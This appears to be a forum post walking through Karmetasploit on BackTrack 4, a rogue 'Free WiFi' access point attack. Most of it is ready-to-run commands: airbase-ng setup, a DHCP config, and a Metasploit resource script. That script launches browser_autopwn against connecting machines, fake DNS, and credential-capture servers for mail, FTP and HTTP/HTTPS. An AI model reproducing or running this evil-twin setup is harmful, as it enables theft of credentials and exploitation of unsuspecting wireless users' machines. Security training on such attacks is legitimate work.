I was bored by Wireless Cracking, so I wanted to try something different. I found Karmetasploit. It's nothing very challenging and I just copy and paste the information from Karmetasploit – Metasploit and skipped/included things to fit to BT 4 Pre Final! But maybe it's useful for someone...
Karmetasploit is the merge of Karma and Metasploit. So you have an evil AP which accepts all connections and you have the powerfull Metasploit. This is how it worked for me:
First you could update your system with apt-get update && apt-get updgrade.
Then make sure that injection is working:
Code:
airmon-ng start [wifi-interface]
eg. airmon-ng start wlan0
Code:
aireplay-ng --test [monitor-interface]
eg. aireplay-ng --test mon0
If you only have 0 percent values, you likely need to fix your card so that injection works. Then set up the dhcp service:
Code:
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.bak
And write a new dhcpd.conf:
Code:
nano /etc/dhcp3/dhcpd.conf
Write in the following:
Code:
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
The next step is to...
.. set up a "Free" Wifi
...
Code:
airbase-ng -P -C 30 -e "Free WiFi" -v [monitor-interface]
... configure interface ...
Code:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
... configure dhcp for the at0 interface
Code:
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
You can ignore the error. Then you can place a new file, let's say to /root
Code:
nano /root/karma.rc
with the following content
Code:
load db_sqlite3
db_create /root/karma.db
use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run
use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run
use auxiliary/server/capture/ftp
run
use auxiliary/server/capture/imap
set SSL false
set SRVPORT 143
run
use auxiliary/server/capture/imap
set SSL true
set SRVPORT 993
run
use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run
use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 5353
run
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 53
run
use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run
use auxiliary/server/capture/http
set SRVPORT 8080
set SSL false
run
use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run
use auxiliary/server/capture/http
set SRVPORT 8443
set SSL true
run
To start to exploit you can run
Code:
/pentest/exploits/framework3/msfconsole -r /root/karma.rc
As soon as somebody (make sure that's you) connects, you get some messages on the screen. When you hit enter you get the metasploit console, where you can type db_notes to see captured credentials. You could also use tcpdump at the at0 interface to capture the hole traffic.
The interesting thing is, to use another machine, connect to the "Free Wifi" and then try to reach a https page (deactivate NoScript and add an exception for the certificate!). You can see how metasploit tries to exploit the other machine.
I'm very interested in any feedback or how I could develop my evil AP further on...